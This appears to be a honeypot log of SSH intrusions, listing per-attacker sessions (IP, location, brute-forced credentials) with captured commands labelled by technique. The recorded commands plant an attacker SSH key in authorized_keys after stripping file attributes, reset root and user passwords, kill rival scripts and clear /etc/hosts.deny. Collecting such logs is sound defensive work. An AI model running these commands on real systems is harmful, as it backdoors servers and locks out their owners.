$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:U6t5mi4uYKYJ"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ ironclad_kopi_root (101.32.145.199) โ€” Singapore, Singapore ยท 1 session ยท 19 cmds
2026-07-10 07:52 EDT ยท as root/admin
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:LIQLovNR7ojN"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ velvet_peak_root (43.155.72.127) โ€” Hong Kong, Hong Kong ยท 3 sessions ยท 23 cmds
2026-06-30 02:34 EDT ยท as oracle/Pass1234, oracle/root123, root/root
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—3
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—3
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:6MFgeh8kug6D"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ frantic_rioja_sol (5.182.83.231) โ€” Redovรกn, Spain ยท 3 sessions ยท 24 cmds
2026-07-10 04:20 EDT ยท as oracle/oracle01, oracle/oracle123, ubuntu/1q2w3e4r
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—3
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—3
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "1q2w3e4r\nnz8Jx92UkZfA\nnz8Jx92UkZfA"|passwd|bash
$ Enter new UNIX password:
$ echo "1q2w3e4r\nnz8Jx92UkZfA\nnz8Jx92UkZfA\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ feral_echo_root (195.199.210.194) โ€” Jรกszfรฉnyszaru, Hungary ยท 3 sessions ยท 24 cmds
2026-07-10 04:33 EDT ยท as oracle/oracle01, oracle/oracle123, ubuntu/1q2w3e4r
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—3
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—3
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "1q2w3e4r\nan9QmJMsvEZR\nan9QmJMsvEZR"|passwd|bash
$ Enter new UNIX password:
$ echo "1q2w3e4r\nan9QmJMsvEZR\nan9QmJMsvEZR\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ unhinged_stroopwafel_root (45.156.87.216) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-07-10 01:55 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 3x across 3 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ venomous_lotus_root_42 (122.166.49.42) โ€” Bengaluru, India ยท 1 session ยท 2 cmds
2026-07-10 02:11 EDT ยท as oracle/oracle#2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ unhinged_steppe_root (93.77.187.140) โ€” Moscow, Russia ยท 1 session ยท 20 cmds
2026-07-10 01:52 EDT ยท as miner/miner
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "miner\nBMjTXmg50I8K\nBMjTXmg50I8K"|passwd|bash
$ Enter new UNIX password:
$ echo "miner\nBMjTXmg50I8K\nBMjTXmg50I8K\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ frantic_eagle_root_98 (67.241.132.98) โ€” Ellsworth, United States ยท 1 session ยท 2 cmds
2026-07-09 23:07 EDT ยท as oracle/123.com
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ molten_dimsum_db (42.200.78.166) โ€” Kadoorie, Hong Kong ยท 1 session ยท 2 cmds
2026-07-09 22:49 EDT ยท as oracle/123.com
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ haywire_stroopwafel_sol (91.92.40.202) โ€” Amsterdam, The Netherlands ยท 62 sessions ยท 62 cmds
2026-07-08 16:17 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—62
๐ŸŽญ jittery_samba_root (201.63.223.138) โ€” Sorocaba, Brazil ยท 2 sessions ยท 21 cmds
2026-07-09 21:16 EDT ยท as oracle/oracle@2022, root/12345678
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:mMq02ev19unh"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ grumpy_volcano_root (202.152.201.166) โ€” Jakarta, Indonesia ยท 1 session ยท 20 cmds
2026-07-09 21:42 EDT ยท as user/password
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "password\nbdbwRJGgEnZK\nbdbwRJGgEnZK"|passwd|bash
$ Enter new UNIX password:
$ echo "password\nbdbwRJGgEnZK\nbdbwRJGgEnZK\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ feral_orchid_root (107.155.56.52) โ€” Singapore, Singapore ยท 2 sessions ยท 4 cmds
2026-07-09 19:35 EDT ยท as oracle/123.com, oracle/oracle123!
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ brisk_komodo_root (103.191.14.210) โ€” Utan, Indonesia ยท 2 sessions ยท 4 cmds
2026-07-09 19:38 EDT ยท as oracle/123.com, oracle/oracle123!
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
๐ŸŽญ zealous_star_root (155.103.69.40) โ€” New York, United States ยท 93 sessions ยท 93 cmds
2026-06-24 18:07 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 3x across 3 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—93
๐ŸŽญ derelict_mekong_root (171.244.143.209) โ€” Hanoi, Vietnam ยท 1 session ยท 2 cmds
2026-07-09 18:09 EDT ยท as oracle/Oracle2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ murky_lotus_root_138 (122.168.197.138) โ€” Indore, India ยท 1 session ยท 2 cmds
2026-07-09 17:22 EDT ยท as oracle/Welcome1
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ aloof_peak_root_67 (20.205.97.67) โ€” Hong Kong, Hong Kong ยท 1 session ยท 1 cmd
2026-07-09 17:22 EDT ยท as ubuntu/ubuntu
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ rogue_rogue_root_168 (196.190.247.168) โ€” Addis Ababa, Ethiopia ยท 1 session ยท 20 cmds
2026-07-09 14:55 EDT ยท as postgres/postgres
SSH brute force with hardcoded postgres credentials โ†’ immediate .ssh directory wipe and chattr immutable flag removal โ†’ CPU and memory profiling via /proc/cpuinfo and free โ†’ binary enumeration of system utilities โ†’ crontab inspection for persistence checks โ†’ system load monitoring via top.
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "postgres\np4PHV9MYsADq\np4PHV9MYsADq"|passwd|bash
$ Enter new UNIX password:
$ echo "postgres\np4PHV9MYsADq\np4PHV9MYsADq\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ manic_volcano_root (103.193.178.240) โ€” Cicurug, Indonesia ยท 1 session ยท 20 cmds
2026-07-09 14:20 EDT ยท as postgres/postgres
cd ~; chattr -ia .ssh โ†’ rm -rf .ssh โ†’ mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "postgres\ndt5Baovp7g9T\ndt5Baovp7g9T"|passwd|bash โ†’ Enter new UNIX password: โ†’ echo "postgres\
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
